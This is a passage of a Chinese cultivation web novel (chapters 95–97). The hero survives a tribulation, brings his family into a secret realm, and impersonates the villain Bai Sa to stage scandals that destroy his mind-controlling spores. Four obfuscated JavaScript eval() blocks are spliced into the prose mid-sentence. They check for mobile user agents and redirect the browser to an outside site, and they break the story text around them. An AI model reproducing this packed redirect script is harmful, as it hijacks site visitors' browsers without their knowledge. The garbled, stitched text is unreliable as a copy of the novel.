每进阶一个大境界,普通修士渡劫会遭遇八道天雷,只有极少数资质奇佳的修士会引来九道天雷。 八道天雷过后,无相球已经有些炼化不下雷霆之力,化成本体,周围的空气里还环绕着白色的雷电。 姜洛玉死死盯着空中劫云。 第九道天雷如约而至。 它比起前面八道来说瘦弱许多,气势内敛,可内里堪称恐怖的气息,让姜洛玉根本不敢小觑。 无相球刚要继续吞噬,被姜洛玉一把塞进丹田。 玄衣剑挑着劈了上去,剑气化为凤鸟长鸣,碰上天雷刹那炸成了漫天花火。 天雷并未散尽,拇指粗细的闪电以一往无前的姿态冲向了姜洛玉的……灵台。 它要他神魂俱灭! 姜洛玉轻笑一声,不甘示弱,直接提剑迎了上去。 剑光雷霆撞击在一起,须臾后,雷霆消失。 而劫云,仍未散去。 和姜洛玉猜得一样,他这次要渡的,不单单是九道雷劫。 他从金丹一直到渡劫修为,中间都没受到过雷劫考验。此番渡劫,天道肯定要把之前的都补回来。 也就是说,这次的天雷一共有五十四道。 或许还应该算上过一会儿三清秘境融合后的,毕竟他和三清秘境互为一体。 真是…… 有些刺激啊。 “来!让我看看你还有多少能耐!” 话音刚落,紫色天雷闪亮登场。 弄清楚雷劫的递进层次,姜洛玉决定先用这东西将体内浊气劈出去。 将所有灵力汇聚到经脉肉身之间,就连三魂七魄也套上了灵力罩,姜洛玉二话不说扎进天雷,差点没让尘极道君把眼珠子瞪出去。 “仙尊,这……能行么?” 丛明雪抿了抿唇,继续加大灵力输出,道:“我相信他的判断。” 尘极道君不可避免地想起了谢子宁说过的话——“耳坠”。 他凝神一瞧,竟然真在丛明雪左耳上看见了带着红穗的耳坠,就连刚从天雷下面出来的姜洛玉耳朵上也有一个! 放眼整个太极洲,谁家师徒会带道侣耳坠啊! “尘极要不你先下去吧,多你一个少你一个没影响。”后方的太上长老见尘极道君脸色难看,劝道。 尘极道君:“不!” 他需要找点事做,才能缓解心里的震惊。 一刻钟、两刻钟……一个时辰过去了,空中的天雷越掉越慢,可劫云还是没有散去的架势。 丛明雪盯着再度从天雷下跳出的姜洛玉,有些担心。 这已经是第五十三道天雷了。 最后一道至关重要。 此时的姜洛玉,差不多成了强弩之末。 纵使他秘境在手,功法又让他的灵气吸收速度和储存深度都比寻常修士增大了两倍,就连肉身恢复的速度也越来越快,可面对如同批发而来的天雷也出现了疲态。 “轰隆轰隆”。 天空发出一声巨响,却未有天雷下落,似乎是有东西很不满意他的存活。 姜洛玉摸了摸几乎称得上只剩骨架的胳膊,再度举起玄衣剑。 玄衣剑的外壳上,包裹着无相球幻化而成的保护膜。 “咔嚓——” 最后一道天雷陡然落下,通身漆黑,带着仿佛毁天灭地的气派,与此同时,三清秘境彻底炼化完毕! “咔嚓——” 上一道天雷未散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196162|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又一道闪着金光的天雷裹挟着几乎能将人碾成齑粉的架势融了进去! 姜洛玉抬剑的动作被这道融合后的天雷压制的动弹不得,眼看着就要以肉体凡胎硬接这惊世之雷! 不……一定还有办法。 姜洛玉艰难运转着大脑,落雷的速度在他眼里无限放慢—— 电光石火间,灵光一现。 打不过就加入,从现在开始,他就是天雷! 《太一万法无相诀》沿着每一条经脉开始运转,天雷沾上肉身前一秒,姜洛玉大喝一声扑了上去—— 足有三人合抱粗细的天雷彻底失去目标,几息后不情不愿的消散在天地。 “阿玉!” 没等丛明雪飞身而去检查姜洛玉的状况,劫云猛地散去,只留下漫天霞光,还有熠熠生辉的三清秘境。 “阿嚏——” 姜洛玉打了个喷嚏,从天雷状态被“残忍”地抽去雷霆之力变回人身。 朝着天空竖了个中指发泄心中怒火,又将三清秘境化为玉簪插进头发里,吸收天道馈……天道这次没给他馈赠。 姜洛玉这才去了丛明雪身边,站在他身后往嘴里塞了好几把天材地宝恢复伤势。 尘极道君的眼神里如同燃烧着着燎原之火,看看姜洛玉和丛明雪耳朵上的饰品,想问又不知如何开口。 几位太上长老同样欲言又止。 丛明雪先行开口:“这段日子我们的了些奇遇。” 等了一会儿,尘极道君头顶冒出问号“?” 这就是解释? 又是一阵长久的沉默。 “几位还有事吗?”见众人也不开口,终于缓过来的姜洛玉探出半个脑袋打破寂静,嘴角还挂着一丝可疑的灵草汁液。 “哈哈没事没事,恭喜师叔归来,也恭喜师叔晋升灵君!”尘极道君行了个标准的晚辈礼,脚底抹油一般先行离开了是非之地。 姜洛玉:“……” 几个太上长老都道了声“告辞”,追着尘极道君的脚步一并离开。 姜洛玉又掏了个灵果出来,习惯性“咔嚓咔嚓”地啃着:“不能让外界知道我还活着。” 丛明雪轻叹一声而后颔首,道:“爸妈他们还在落雪峰,怀仁和子宁在那儿照看他们,你先将他们安置下来。” “我去清除尘极他们的记忆。” 姜洛玉眼角抽了抽:“好,分头行动。” 眨眼间就到了落雪峰。 姜洛玉在之前的树林没看见人,想也知道是被齐怀仁两个带进了弟子居。 果不其然,一进弟子居的树下就坐着姜家众人和……抱着藏狐的谢子宁。 谢子宁看起来神情恍惚。 姜洛玉叫了一声“爸妈”,又冲着满院子撸毛绒绒的哥姐点头示意。 林朝盈挥了挥手:“玉玉你可算回来了,你这个小狐狸师兄被欢欢吓得变不回来了。” 姜洛玉:“……?” 齐怀仁:“嘤——” 累了。 谢子宁眼泪汪汪:“二师兄你真的没事啊……” 姜洛玉有些头疼,抬手让树梢倒挂的辰欢盘上自己的左胳膊,点了点他的鼻子:“把威压收回去。” 辰欢哼唧两声:“收不回去。” “我得回秘境一下。” 姜洛玉这才意识到,刚才渡劫落下了被归为三清秘境的辰欢,把小龙塞了进去,齐怀仁果然变回了人形。 “你们背着我在玩什么?” 95.穿越第九十五天 姜洛玉被几乎变成一团白光的人晃了眼。 他这才想起来白光的身份——白泽。 神界所有的白泽都用光芒遮掩身形,不同在光的颜色和覆盖面积。 他在仙界时听闻天上地下只剩下了一只白泽,因为负伤所以常年在浮屠境的日落海里沉睡。 所以……幕后之人又动手了。 “你干嘛不说话?你身上为什么有药辛的气息,他不是修天……” 姜洛玉拍出无相球,捂住白光的整张脸。 白三水:“……?” 众人:“……?” “境主快把白三水送进来!”红楹好不容易冲破三清秘境暂时的封锁,“就是白泽,他现在脑子不好使,待在外面会乱说话!” 姜洛玉:“……” 体会到了。 不等白三水反应,他拍了拍白光的肩膀部位,趁其不备将人“请”进了三清秘境。 注意到自家师兄弟越来越难以言喻的神情,姜洛玉咳了咳:“大师兄,师弟,我知道你们想问的东西有很多。” “我知道。”齐怀仁声音颤抖,仍然感觉自己在做梦,“所以,你到底是怎么突然变成……灵君的?” “啊?!”谢子宁惊诧地咬破了舌头,在场除了姜家众人还未入道,修为最低的就是他了。 他连姜洛玉成了渡劫灵君都察觉不到,还以为他是用了什么法术遮掩了境界。 齐怀仁又仔细看了一遍。虽然渡劫修士气息内敛、返璞归真,但姜洛玉并未刻意隐藏气息,以他的境界还是能察觉出来的。 姜洛玉随便找了个地方坐下,先是给被灵宠环绕的父母添了茶,才道:“说来话长了,你们想从哪儿开始听?” “我们真的能听吗?”谢子宁小声问道。 姜洛玉:“师弟,如果你不想听的话,我可以把你敲晕。” “别别别!”谢子宁连忙摆手,头摇成了拨浪鼓,“我就……说了句玩笑话。” 他实在是太好奇了,有种马上就要知道什么惊天大秘密的感觉。 那种兴奋让他感觉困扰他许久的瓶颈都有了松动的迹象。 齐怀仁:“若是听不得,师弟也不必勉强。” 姜洛玉笑了两下,摇头道:“逗逗子宁而已,还是像小时候一样不禁逗。” “师兄前些年被心魔迷了眼,对师弟说了些糊涂话,虽然已经赔礼谢罪,但师兄这颗心啊……还是堵得慌。” 谢子宁:“……?” 怎么有种怪怪的感觉。 齐怀仁抽了抽眼角,他这二师弟长大后平时不言不语,小时候有什么坏心思可是要先说漂亮话的。 “大师兄,这些年你也辛苦了。”姜洛玉正色道,“所以师弟发达后,是要回报师兄的。” 齐怀仁:“……?” “这点心意还请大师兄和师弟笑纳,不然我良心难安啊。”姜洛玉眨着眼睛,从刚开启的三清秘境里掏出两串儿天材地宝。 弟子居霎时间被灵花灵草、还有炼器材料散发出的宝光填满。 师兄弟二人不得不捂住眼睛适应半天:“……!” “二师兄……你是打劫了谁家宝库吗?”谢子宁哆嗦着碰了碰身旁张着大嘴的百味噬魂花,在被花朵闭嘴咬上一口前,险之又险的收回了手。 这东西虽然看着吓人了些,实际上却是不可多得的悟道灵药,光是一滴花蜜就能让合体修士参悟到进阶大乘的方法! 不只是百味噬魂花,还有金乌血阳草、凤尾泣榕树、三阴木石髓…… 谢子宁没想到自己积累这么多年的识别天材地宝的能力用在了这里,而且除了常见的,还有更多他叫不上来名字的天材地宝! 姜洛玉摇头,似笑非笑:“非也。因为……这些都是我的。” “我就是三清秘境。” “啊——?!” 这次轮到齐怀仁也跟着惊讶了,此时的石桌旁只剩下了师兄弟三人,姜家众人此时全都沦陷在齐怀仁养的满院子毛绒绒里。 林朝盈身上甚至爬了三只巴掌大的灵猫。 三清秘境在云泽洲消失一事,两人都有所耳闻。 齐怀仁曾经有幸去过三清秘境一次,从里面带回来不少好东西,此时一听姜洛玉所言,不知说什么才好。 师弟突变秘境这种事……他不知道和“师弟变师尊道侣”加起来哪个更让他惊掉下巴。 如今的姜洛玉修为已至渡劫,又得到了全部的三清秘境,早就今非昔比。大手一挥,取出几个天材地宝作为阵眼,设下屏蔽天道的结界,挑挑拣拣告诉了两人一些“真相”。 神界的事两人知道了没什么好处,他就把渡劫的事情说了,身世也简单提了一嘴,顺道又告诉了两人关于白卅和孢子一事。 多年相处让他们三个师兄弟早就成为了亲人一般的存在。他这一世小时候顽劣不堪,闯祸无数,齐怀仁替他擦了不知道多少次屁股,谢子宁十岁左右刚来时也总爱跟在他屁股后面跑。 就算后来他在什么狗屁劫运操控下仇视这孩子,对方也只是怀疑是不是哪惹到了他,每次看见他总是露出一副怯生生的笑脸。 现在想来真是罪过…… 谢子宁听完嘀咕道:“我就说怎么有一天修炼一半儿睡着了,醒过来跟被人揍了一样……” 敢情是丛明雪替他过来拔除孢子。 齐怀仁面色沉重:“若真是这样,近些年来飞升的修士人数减少是否和幕后之人有关?” “说不准。”姜洛玉垂着眼睛,“告诉你们这些,是想让你们早做准备,六界马上就要乱了。” “不知道什么时候就会战火四起,又是一场生灵涂炭。” 两人全都面色沉重。 姜洛玉把天材地宝强行塞入两人储物戒之后,咳了咳:“所以,我准备让你们进秘境特训。” 两人:“……?” “三清秘境的时间流速可以调整到比外界慢上十倍,也就是说你们在里面修炼十天,外界才过去一天。”姜洛玉眼睛越说越亮,“还有几百个渡劫灵君倾情陪练。” “好处当然得就这自家人先来。” 齐怀仁和谢子宁被“自家人”三个字说得心中一暖。他们两个一个是被族人遗弃的残疾狐狸,一个是家破人亡的倒霉蛋,早就把天正宗当成了自己的家,自然也把同门师兄弟和师尊当成了亲人。 那点见到姜洛玉成了渡劫灵君后生出的陌生感,就这么消失不见了。 姜洛玉说完自己都心动了,三清秘境简直是居家旅行修炼必备之佳品! 而且真碰上什么危险,三清秘境还能脱离他这个境主瞬移到安全的地方。更不用说还能设立锚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15201927|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点,将出入口设在落雪峰。 除了齐怀仁和谢子宁,他还得把爸妈他们也放进去。先让凝星为他们洗髓,再选定修炼方向,量身打造功法,最后直接在秘境里选定老师教导。 谢子宁从姜洛玉闪着精光的眼里似乎看见了以后全年……不,十年无休的日子,有些发怵。 转头看见齐怀仁一脸认真地思考,他深吸一口气—— “烛山说的不错。” 轻飘飘又带着寒气的声音飘了过来。 丛明雪蹙着眉观察了另外两个弟子,虽然修为都没变,但谢子宁身上的灵气明显有滞涩之感,于是又道:“子宁,你今日收拾收拾,明天就入三清秘境修炼。” “怀仁,你最好明天也一并进入修炼,若是有什么要处理的可以晚两天。” 齐怀仁道了声“是”,谢子宁欲哭无泪,也行了个弟子礼。 两人告退后各自回了弟子居收拾东西,姜洛玉招呼林朝盈他们过来集合。 他抱着跳过来的门灵摩拳擦掌:“暂时没什么事,可以让爸妈你们开始修炼了。” “修炼第一步,洗经伐髓。” 百花殿内,凝星和何在夕还有阿木托目不转睛。 殿中央放着五个大桶,外侧被厚重的水雾环绕,里面的人只能露出来一个脑袋。 这是他们几个根据姜家众人的身体素质调配出来的洗经伐髓的药浴,需要泡上七七四十九天才能彻底脱去凡胎。 在秘境里,已经是第四十八天了。 姜洛玉进来的时候,看见了三人紧张兮兮的神情。 他这几天一直待在外面搜集关于白卅的消息。乘风阁已经满足不了他想要了解白卅此人的欲望,于是姜洛玉直接去仙盟绑了两个体内孢子还没催发弟子。 那两个弟子刚加入仙盟不久,在仙盟堪称恐怖的洗脑能力下已经对白卅死心踏地。听他绑他们过来,只是想听白卅的事迹,马上表现出十万分的虔诚向他歌颂起这位仙盟盟主。 姜洛玉忍着恶心听了半天,从一堆废话里勉强知道了一点外界不为人知的消息。 比如仙盟名为“仙”盟,其实内里和魔窟一个建筑风格。 他这次进来除了要查看姜家众人的状况,还有一个目的—— 他需要一群演员陪自己演戏。 白卅不是让修真界众人猪油蒙心,认为他是个“完美”的存在吗? 那他就要给这张白纸……好好画上浓墨重彩的“污迹”。 “几位如此,莫不是不欢迎我?” 熟悉又带着些陌生的声音从殿门口传来,何在夕挠着脑袋看过去,整个人一激灵:“我艹,白卅!” “你怎么进来的?!” 其余两人一个不在状况之内,另一个也是吃了一惊。 凝星当机立断拔下头顶金簪,化为花雨飞向门口一身白衣之人! 阿木托紧随其后,以水化作顶无数小蛇扑向殿门口! 姜洛玉长袖一甩,轻松化解了两人的攻势,撤去功法露出真容:“怎么样?” 何在夕这才从两人身后探出身体,擦了擦额头的汗:“下次别开这种玩笑……我还以为神主附身了呢。” 要不然白卅一个下界渡劫修士,怎么会无声无息地潜入三清秘境。 “我已经想好怎么破除白卅的孢子了。” 96.穿越第九十六天 听完姜洛玉的办法,殿内几人一时间神色扭曲。 何在夕指了指自己:“你是说,要找人满修真界陪你演话本造谣白卅?” 姜洛玉点头:“没错。既然他给自己立了个比白莲花还白、比天神降世还慈悲的人设,就要经受得起考验。不仅能接得住我甩上的墨点子,还能全身而退。” “接不住的话……他在修真界众人眼里的完美形象就会出现裂缝。千里之堤溃于蚁穴,只要有人怀疑他那些事迹的‘真实性’,惑心蔁的孢子就会消失。” “虽说感染程度不一,大部分人都不会有什么太大的反应,但日积月累,早晚把他那张假好人的皮扒下来。” 不等几人再度开口,姜洛玉直接掏出五枚玉简。 阿木托率先接过一枚,神识探入其间——《绝情盟主和山野村夫》。 阿木托:“……?” 凝星紧随其后,也拿了一枚玉简——《证道渡劫后,我欲杀屠我全族的仙盟盟主》。 凝星:“……?” 何在夕见两人表情实在精彩,终于忍不住,自己也拿了一个——《那个欺师灭祖的仙盟盟主》。 “这是剧本。”姜洛玉晃了晃剩下两枚玉简,“剩下的一个是《震惊,仙盟盟主竟然修炼邪术!》,还有《杀师弑兄道枉为盟主》。” “我现在的功法熟练度,刻意掩盖就连你们都发现不了,骗骗外面的人肯定也不费吹灰之力。” 三人:“……” 何在夕:“你要和谁一起去演戏,不会是药辛吧?” 姜洛玉摇头:“不成,我现在看见他会笑场。” “那你打算找谁?”何在夕摸了摸着亡妻的玉雕,“秘境里有精通此道的人物吗?” “还不知道。”姜洛玉一边说着,一边凑过去打量木桶里的姜家人,确定气息没有什么异常,隐隐有突破的架势后放心不少。 “所以,我打算征集一下这类人才。” 一个时辰后,三清秘境正中央的浮空岛上。 姜洛玉来回打量对面几乎与空气融为一体少年。 少年名为朱桦,人形和法衣看起来灰扑扑的,是三清秘境里为数不多的……变色龙,本体的名字叫迷形幻影龙。 在他通知整个三清秘境开始挑选此行搭档时,三清秘境众妖齐齐推举朱桦参加。 姜洛玉心念一动,通过和诞生在秘境的天地灵物间玄妙的联系看到了朱桦的本体,顿时释然。 变色龙适合演戏,倒也挑不出什么错处。 朱桦表面故作冷静,其实面对姜洛玉心理激动得不得了。这可是他第一次和境主单独相处! 他期待地看向姜洛玉,希望对方能够拍着自己的肩膀再说出一些鼓励的话。 五枚玉简扔了过来。 “我们先研读剧本。” 朱桦掩盖住眼底细微的失落,信心满满抓住玉简——他可是迷形幻影龙,要论学习模仿的能力,秘境里除了境主还没人能超越他! 直到他看见里面戏目的名字。 朱桦突然觉得,这份差事也不是那么轻松。 —— 栖仙洲,万里冰封。 酒楼里的说书先生正讲到了关键时刻。 “您猜怎么着?这明夭仙尊刚一掀开洞府的寝被,里面竟然躺着平日里最疼爱的二弟子!只见二弟子香肩半露,面染桃红,凄凄切切地叫了一声‘师尊’,就要不管不顾地钻进仙尊怀里。” 姜洛玉艰难咽下灵茶,痛心疾首:“看见了么,这就是谣言的威力。” “可是境主……这不就是话本子么。”朱桦小声说着,边说边看向右侧正襟危坐的丛明雪。 姜洛玉:“他这是话本子,一会儿我们演出去的就是‘事实’了。” 下方说书先生的话越来越香艳露骨,听得姜洛玉眉心直跳,再也等不及昆仑殿的新殿主进来,直接飞身去了街外。 朱桦对着丛明雪行了个礼,跟在姜洛玉也飞了出去,身形逐渐变幻拉长成了阴翳青年的模样,看起来煞气缠身似乎背负了几百条人命。 丛明雪独自坐在酒楼,扔了一袋灵石到说书先生面前,淡淡道:“换一个故事。” 说书先生一惊,看不出二楼帷幔之后人的修为,只好拱手道:“尊者,这故事是有人钦点的,每月十五把《清冷仙尊俏徒弟》话本的最新一话循环不断讲上一天一夜,您……” 这样让他很难办啊。 丛明雪捏了捏眉心,又道:“她今天来不了。” 酒楼外的街道银装素裹,好在这里的人都习惯了严寒,即使是没有修为的凡人,也会顶着风雪上街。 姜洛玉在走出酒楼刹那,立即催动功法变成了白卅的模样。 这还多亏了白卅时不时就会在仙盟开办的法宝阁售卖自己得到的天材地宝,以极低的价格挂出来,美其名曰“乐善好施”。 这才给了他的功法可乘之机。 而今天,他与朱桦的那出戏叫做《震惊,仙盟盟主竟然修炼邪术!》 姜洛玉的操作其实很简单,用功法搞臭白卅的名声,最好是当着各个势力话事人的面直接出击。 这些人往往意志坚定,就算没有服用吸收专门应对惑心蔁孢子的丹药和药粉,也能靠着自身修为和意志力将其溶解。 就算他们联想不到白卅身上,也会生出警惕,检查自家弟子身上是否也有异常。 一系列连锁反应下来,这个能在他们身上种下孢子的人,就成了众矢之的。 见朱桦变成的邪修踏出酒楼,姜洛玉也缓缓现出身形。 此地位于栖仙洲北部的昆仑城,从名字就能看出来——这地方在昆仑殿的脚下。 来到昆仑城的目的就在于昆仑殿,他们新上任的殿主漆岚灵君曾经是被白卅“救过”的修士之一。 到底救没救暂且另当别论,这人身上肯定是有孢子没跑。 乘风阁的小道消息里,漆岚灵君每月十五都会来到昆仑城的酒楼听书,风雨不辍。 到时候等到她看完了为她量身打造的这出戏,是非曲直自然能想得透彻。 眼看着午时三刻一道,天边多了道渡劫修士的气息,姜洛玉传音给朱桦:“开始!” 漆岚灵君踩着风雪急匆匆地赶到了酒楼对面。 今天昆仑殿内要处理的事务多了些,也就导致她差点赶不上平日里听书的时间。 从书局买来的话本用神识扫一遍根本没什么看头,比不上经验老道的说书先生能将那些情节讲得跌宕起伏,又夹杂着旖旎的氛围。 所以她就包下了昆仑城最好的说书先生每月十五的日子,来循环讲述她爱听的话本。 最近正好轮到了修真书局新晋的爆火话本, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205676|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半月一更正好符合她的听书时间。 踏入酒楼前,漆岚灵君注意到了角落里的两人。 一身银灰色长袍的男人面白如雪,莫名透着股悲天悯人的慈悲。 漆岚真君察觉到那股熟悉的气息,确定眼前人就是白卅无疑。 可仙盟明明位于北洲,白卅近些年来深居简出,没什么事跑来栖仙洲做什么? 难不成是栖仙洲出了什么问题,他过来偷偷解决? “好一个仙盟盟主!” 瘦削的男人对面,突然窜起个浑身冒着黑气的青年。 青年飞到半空,灵气支撑着声音扩散到了整条街道乃至于整个昆仑城。 “我不过是想从你那儿捞到些好处,你竟然想杀我灭口!” “邪修,休得胡言!”男人手握长剑,斩出数道蓝色雾气直奔邪修而去。 漆岚真君更加不疑有他,白卅的功法是《霜寒九烟》,靠得就是剑气化雾无所遁形。 可不等她出手相助,邪修的话让她神魂巨震。 “修炼邪术的反噬滋味如何?你现在都没办法一剑杀了我,好一个道貌岸然的伪君子!” 漆岚真君感觉自己的脑袋里,有什么东西碎掉了。 —— 北洲,仙盟。 仙盟位于北洲腹地最高的山脉七星山上,走在上山的长阶,窾坎镗鞳不绝于耳,仙鹤飞鸟环绕在呈现出一片枯黄的山石之间。 到了尽头的平台之上,又越过三道刻画着阵法的大门,这才算进入了仙盟所在。 年嵘一边擦着冷汗一边赶向仙盟最高的建筑——望月阁。 此时阁楼顶部,所有侍从噤若寒蝉,动都不敢动,生怕惊扰了主位之上的男人。 白卅看着从各地探子处得来的消息,怒火越烧越旺,将桌案上的玉简全都扫在地上摔得四分五裂。 溅起的玉屑飞到了年嵘脸上,他一下子单膝叩拜在白卅对面,忙不迭道:“盟主息怒!” 白卅:“我给了你半个月的时间,让你去查到底是哪个王八蛋假扮我惹是生非。你倒好,还白白给那肉畜送去了金银钱财!” 他起身一把掐住年嵘的脖子,身上的气息翻涌,根本不像是渡劫修士能有的实力:“你说……我留着你还有何用?” 年嵘发不出声,只好改为用灵力传音:“盟主恕罪!那贼人功法诡谲,属下一时不查才着了他的道!” 死亡的感觉逐渐逼近,年嵘垂着脑袋,只好再三安慰自己。 他已经跟在白卅身边近千年了,什么脏活累活都干过,也就只犯了这一次错,白卅不会因为…… 望月阁多出了一具温热的尸体。 白卅吸收完年嵘的神魂和修为,又将那些东西转化为控制傀儡的养料。 他擦了擦手,开始在名单里物色下一任“副盟主”。 不出一刻,身材高挑的女人敲响了望月阁的门,暗棕色的木板“吱嘎”作响。 女人垂着头,安静站到了白卅身边。 “接下来仙盟暂且交由你来管理。”白卅掀起眼皮上下打量了女人一番,“闭门谢客,无论谁过来都说我在闭关。” 这些日子种下去的孢子死伤惨重,顶着他的壳子捣鬼的人……他有怀疑的人选。 可姜洛玉那厮分明被大人带去了魔界,又如何能逃过重重包围回到此界? 97.穿越第九十七天 东洲,星燃城。 这是东洲最西部的一座大型城池,城主为渡劫灵君边华津。 又是酒楼,姜洛玉在雅间里点完菜,在对面两人难以言喻的表情里摆出了五枚玉简,又在其中四枚上面压下了从乘风阁得来的后续消息。 厚厚的纸上写满了那些势力封锁的举动,还有外界的反应,“谣言”的效果显而易见。 洋洋洒洒还夹杂着对话,看起来和话本子没什么区别,让姜洛玉不禁怀疑修真书局背后的势力就是天机阁。 剩下那枚还没开场的好戏,是《绝情盟主和山野村夫》。 朱桦趴在圆桌上往嘴里塞天蚕虫,吃得嘴巴鼓鼓的。这些天他跟着姜洛玉在修真界里来回奔波,早就没了最开始的劲头儿。 好在功夫不负有心人,终于到了最后一场。 “今天大概是演不上这一场了。”姜洛玉收起所有玉简,有些可惜。 丛明雪有些意外:“为何?” 姜洛玉:“我前天在乘风阁卖出了‘仙盟盟主即将现身星燃城,上演又一出好戏’的消息,想必白卅现在已经在城中等着‘冒牌货’出来了。” 两人:“……?” “这和计划不一样。”丛明雪已经记不清自己一路上多少次头疼了,“阿玉,你引他过来的目的是什么?不要胡来。” 姜洛玉不好意思地咳了咳:“灵机一动的调虎离山之计,忘了和你们商量。” “他现在必然已经察觉到了孢子大面积死亡,得到了风声,肯定会想办法过来找我。” “可他若是敢来,就说明有办法全身而退。”丛明雪正色道,“狡兔三窝,他又是个能放出孢子的惑心蔁,来的究竟是本体还是分身也尚未可知。” “若是杀他狗急跳墙上报给那位‘大人’,恐怕六界生变。” 姜洛玉:“师尊说的有理,但上下两界联系微弱,这么久了也不见白卅反击,只有两种可能。一是他的能力找不到我们,二是幕后之人还没有插手。” “至于是来的是分身还是本体,我更偏向于本体。他就算修为再怎么深不可测,也只是个渡劫修士,还要分心管理傀儡,再分出分身不现实。” “假设他在得到‘假货’的消息之前,还在犹豫着要不要告诉幕后之人修真界生变。不过现在知道了‘假货’的消息,这种想法一定会暂时搁置下去。” “毕竟幕后之人不会喜欢无能多事的棋子,他得在东窗事发前,把窟窿补上。” “猜测而已。”丛明雪摇头。 “不是猜测,白卅对外号称闭关,顺势让仙盟闭门谢客。” 玄衣身影破门而入,和圆桌旁吃茶点的青年长得一模一样。 姜洛玉甩着刚从乘风阁得来的“消息”,对着两人笑了笑,收起木椅上的分身:“昨天晚上刚回秘境学了分身术。” 分身术,渡劫灵君能掌握的独门秘术,靠着修士本人的精血和神识作为支撑行动的根基,通常情况下,最多只能炼制出五个。 丛明雪沏茶的手抖了抖,道:“什么时候换的?” 他根本没察觉到身边的人是分身,这说明姜洛玉的真实水平已经在他之上了。 不过要是彻底取回三清秘境后,姜洛玉的实力再不比不过他,他倒要检查一下是不是出了什么问题。 姜洛玉打了个响指,点燃了桌子上装饰性的灵灯,眸子里倒映着橙红色的火苗。 “今早刚出来的时候。不过这些不重要,我在里面一共炼制出来两个分身。”他坐到了分身的位置,捏起糕点。 朱桦:“所以……?” 姜洛玉:“我们解放了,让分身去跟白卅交手。” “其中一具我已经让他乘坐法宝和传送阵去了北洲,争取在白卅回去前探听一番仙盟虚实。” 丛明雪:“分身不比本体,就算分身进去,仙盟的人识破你的伪装又该如何?” 姜洛玉等的就是这句话,自信道:“众人拾柴火焰高,秘境里几百号渡劫灵君可不是吃白饭的。五天时间,他们已经将我这两具分身从头到脚武装了一遍。” 仙盟,望月阁。 易方蓝正在整理今天向仙盟送来拜帖的名单,上面密密麻麻的名字全都是各个大小势力的“代表”,话事人自然没有蠢到单枪匹马来仙盟,而是先派出小鱼小虾试探仙盟对于“盟主失德”传言的态度。 即便她已经按照白卅的吩咐关门谢客,还是挡不住像雪花一样飞来的拜帖。 窗外传来仙鹤长鸣,易方蓝一把火烧了名单,站在窗口感慨万千。 今天是她荣升副盟主的第二天。 “你在看什什么?” 易方蓝顷刻间转身下跪,动作如行云流水,道:“见过盟主,属下在看外面的仙鹤。” 姜洛玉想起来时路上嘴里叼着尸块儿乱飞,还把血洒在他头顶的“仙鹤”,眸光微动。 “你去把它们都关起来。” 易方蓝:“……?” 虽然奇怪,但白卅向来喜怒无常,她只好“是”了一声,从窗户飞走抓仙鹤。 见易方蓝没有怀疑自己的身份,姜洛玉的心终于彻底放进了肚子。 他这具分身里面不仅放了神识和精血,还放了当初收集到的孢子尸体。 经过秘境众妖一通炮制,不仅被人发现后神识和精血会直接自毁不留痕迹,神识经历的记忆还会自动回归识海里的天地,而且让体内孢子被激活的傀儡分辨不出他不是白卅本人。 “你们也出去。”姜洛玉沉着脸再度吩咐道,金眸闪烁,里面的寒光几乎能将人冻死。 满屋子侍从也不知道今天白卅抽了什么邪风,一点也不敢犹豫,眨眼间消失了一干二净。 姜洛玉端着架子,开始一本一本翻看书架上的玉简和书籍。 通过那些天材地宝和法器,他能获取的白卅本人的记忆只有很模糊的日常。 不过好在这一点记忆,也足够他总结出白卅面具下的真实模样——喜怒无常、性格残暴,稍微有一点儿不顺心的地方,就会对着仙盟里的下属大发雷霆。 甚至一言不合,就要杀人泄愤。 整个仙盟都在他的控制下,他们体内的孢子全部生根发芽,这里只有傀儡的预备役和真正的“傀儡”。 不一会儿后,姜洛玉倒吸一口凉气,还真让他翻到了想要的东西。 白卅不知道是对仙盟过于自信还是有什么特殊癖好,书架上大大咧咧的摆着清一色的邪术,什么抽人脊髓改换资质、献祭童男童女度过瓶颈…… 还有记载着试验这些邪术的卷宗。 “南浔八百三十四年,扶桑洲灭一小城,男女尽数炼化为投入魔器。” 修真界的年号用在一千岁以内飞升的修士道号命名,南浔正好是当前的年号。 里面又提到了魔器。 所以这满修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 